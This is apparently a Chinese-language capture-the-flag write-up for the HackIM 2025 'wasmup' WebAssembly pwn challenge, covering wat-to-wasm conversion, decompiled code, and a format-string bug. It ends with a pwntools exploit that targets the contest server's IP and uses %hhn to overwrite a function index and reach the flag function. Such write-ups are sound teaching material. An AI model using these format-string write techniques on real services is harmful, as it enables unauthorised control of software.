文章

HACKIM 2025 CTF 一道wasm pwn题分享

nullcon HackIM CTF Goa 2025!

wat-wasm转换

chat gpt

.wat​ 文件通常是 WebAssembly (Wasm) 文本格式(WebAssembly Text Format)。如果你想在 Linux 上运行 .wat​ 文件,首先需要将它转换为 WebAssembly 二进制格式(.wasm),然后使用 WebAssembly 运行时环境(如 Node.js 或浏览器)运行它。

步骤:

  1. 安装 wasi-sdk wasmer等工具:

    • 如果你要直接使用 WebAssembly,可以安装 wasmer​ 或 wasi-sdk​,它们提供了运行 .wasm​ 文件的功能。
    1
    
     curl https://get.wasmer.io -sSfL | sh
    

    或者安装 wasi-sdk​ 来编译和运行 WebAssembly。

  2. .wat转换为 .wasm
    可以使用 wat2wasm​ 工具将 .wat​ 转换为 .wasm​ 文件:

    1
    
     wat2wasm file.wat -o file.wasm
    

    如果没有安装 wat2wasm​,你可以从 WebAssembly Binary Toolkit (wabt) 安装它。

  3. 运行 .wasm文件:
    使用 wasmer​ 来运行 WebAssembly 文件:

    1
    
     wasmer run file.wasm
    

    或者,如果你有 Node.js 环境,也可以在 JavaScript 中加载和运行 .wasm​ 文件。

示例:

假设有一个简单的 .wat​ 文件 example.wat​:

1
2
3
4
5
6
(module
  (func $add (param $x i32) (param $y i32) (result i32)
    local.get $x
    local.get $y
    i32.add)
  (export "add" (func $add)))

你可以将其转换为 .wasm​,然后使用 wasmer​ 运行:

1
2
wat2wasm example.wat -o example.wasm
wasmer run example.wasm --invoke add 1 2

这将运行 WebAssembly 模块,并返回计算结果。

希望这对你有帮助!

Tools

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
➜  wasmup proxychains4 -q curl https://get.wasmer.io -sSfL |proxychains -q sh
Welcome to the Wasmer bash installer!

               ww
               wwwww
        ww     wwwwww  w
        wwwww      wwwwwwwww
ww      wwwwww  w     wwwwwww
wwwww      wwwwwwwwww   wwwww
wwwwww  w      wwwwwww  wwwww
wwwwwwwwwwwwww   wwwww  wwwww
wwwwwwwwwwwwwww  wwwww  wwwww
wwwwwwwwwwwwwww  wwwww  wwwww
wwwwwwwwwwwwwww  wwwww  wwwww
wwwwwwwwwwwwwww  wwwww   wwww
wwwwwwwwwwwwwww  wwwww
   wwwwwwwwwwww   wwww
       wwwwwwww
           wwww

downloading: wasmer-linux-amd64
Latest release: v5.0.4
Downloading archive from https://github.com/wasmerio/wasmer/releases/download/v5.0.4/wasmer-linux-amd64.tar.gz
######################################################################## 100.0%
installing: /root/.wasmer
Updating bash profile /root/.zshrc
we've added the following to your /root/.zshrc
If you have a different profile please add the following:

# Wasmer
export WASMER_DIR="/root/.wasmer"
[ -s "$WASMER_DIR/wasmer.sh" ] && source "$WASMER_DIR/wasmer.sh"
check: wasmer 5.0.4 installed successfully ✓                                                                                                                                                        wasmer will be available the next time you open the terminal.
If you want to have the commands available now please execute:

source /root/.wasmer/wasmer.sh
➜  wasmup  

安装

1
2
sudo apt-get install wabt

  • 测试运行
1
2
3
4
5
6
$ wat2wasm wasmup.wat -o wasmup.wasm # wat 转 wasm
$ wasmup wasmer run wasmup.wasm      # 运行
> Are you all alone?
111

> haha. What you doing son?

HackIMCTF-2025-Pwn-wasmup

程序分析

附件给了一个 wat 文件

1
wasmup.wat

image

wat 转成 wasm 后 使用 JEB 工具,就可以反编译 c 代码进行分析了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
// Stale decompilation - Refresh this view to re-decompile this code
int main() {
    int v0 = __g0 - 112;

    __g0 -= 112;
    *(int*)(v0 + 108) = 0;
    *(int*)(v0 + 103) = *(int*)&aFunc____p_[7];
    *(long long*)(v0 + 96) = *(long long*)&aFunc____p_[0];
    *(short*)(v0 + 92) = *(short*)&a___s_[&gvar_4];
    *(int*)(v0 + 88) = *(int*)&a___s_[0];
    *(int*)(v0 + 60) = 1; // 这里赋值 offset 1 
    *(int*)(v0 + 56) = 2;
    nobuffer();
    while(1) {
        int v1 = *(int*)(*(int*)(v0 + 60) * &gvar_4 + (int)&gvar_40000000)(v0 + 64);
        *(int*)(v0 + &gvar_20) = v1;
        printf(v0 + &gvar_20, v0 + 88);
        *(char*)(v0 + 64) = 0;
        *(int*)(v0 + 48) = v0 + 64;
        scanf(v0 + 48, "%[^\n]");
        int v2 = getchar(gvar_C20);
        if(v2) {
            break;
        }
        int v3 = r_to_5(gvar_C20);
        if(v3) {
            break;
        }
        int v4 = strcmp("Wazzsahahahrp", v0 + 64);
        if(!v4) {
            break;
        }
        __f70();
        int v5 = strcmp("debug", v0 + 64);
        if(v5) {
            continue;
        }
        *(int*)v0 = v0 + 60;
        printf(v0, v0 + 96);
        *(int*)(v0 + 16) = v0 + 56;
        printf(v0 + 16, v0 + 96);
    }

    exit(0);
    jump 0;
}

1
2
3
int v1 = *(int*)(*(int*)(v0 + 60) * &gvar_4 + (int)&gvar_40000000)(v0 + 64);
v0 + 60 上面赋值 1  也就是调用 wassup
如果我们可以修改 这个 1  2 也就可以 执行 wassflag 

image

格式字符串漏洞

溢出覆盖原本的 message 然后格式话字符串漏洞

image

输入 ABCD后 搜索字符串 可以定位到stack位置 , 可以找到变量的对应位置

image

image

可以看到 输入的 buf 距离 > %s​ 有 0x18 个字符,这里其实可以覆盖 下面的buf,造成格式话字符串漏洞,

  1. 经过测试可以得知我们输入的在第9个位置
1
2
3
4
ru(b'> Are you all alone?\n')
pay  = 'A' * 0x18 + '%p-' * 9
sl(pay)
# 0x498-0-0-0-0x11bb0-0-0x2-0x1-0x41414141-

  1. 其实 debug 给的 16进制字符串的作用就是stack offset

格式化字符串的时候可以看到, 并不是 吧 0x41414141 当作一个地址,而是 当成 一个 偏移,

1
2
3
4
ru(b'> Are you all alone?\n')
pay  = 'AAAABBBBCCCCDDDDEEEEFFFF' + '%p' * 8 + '%s'

sl(pay)

image

利用上面的那一点我们就可以去确定 idx 1 的 offset 然后 使用格式字符串漏洞 去修改 这个 1, 改成2 就可以调用 wassflag

image

exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# imLZH1
from pwn import *
#from ctypes import CDLL
#cdl = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
s    = lambda   x : io.send(x)
sa   = lambda x,y : io.sendafter(x,y)
sl   = lambda   x : io.sendline(x)
sla  = lambda x,y : io.sendlineafter(x,y)
r    = lambda x   : io.recv(x)
ru   = lambda x   : io.recvuntil(x)
rl   = lambda     : io.recvline()
itr  = lambda     : io.interactive()
uu32 = lambda x   : u32(x.ljust(4,b'\x00'))
uu64 = lambda x   : u64(x.ljust(8,b'\x00'))
ls   = lambda x   : log.success(x)
lss  = lambda x   : ls('\033[1;31;40m%s -> 0x%x \033[0m' % (x, eval(x)))


context(log_level = 'debug',terminal='tmux splitw -h -l 170'.split(' '))
#context(log_level = 'info',terminal='tmux splitw -h -l 170'.split(' '))
cmd = 'wasmer run wasmup.wasm'.split(' ')
#io = process(cmd)
io = remote('52.59.124.14',5005)


#gdb.attach(io)

#pay  = 'A' * 0x18 + 'true, true'
ru(b'> Are you all alone?\n')
pay  = p32(0x11bb0-4) + b'A' * 0x1C + b'%p'*8 +b'-'*(0x102-0x1e) +b'%hhn'
sl(pay)

s('\n')

itr()

前后对比

image

image

image

本文由作者按照 CC BY 4.0 进行授权

© imLZH1. 保留部分权利。

本站总访问量

本站采用 Jekyll 主题 Chirpy

热门标签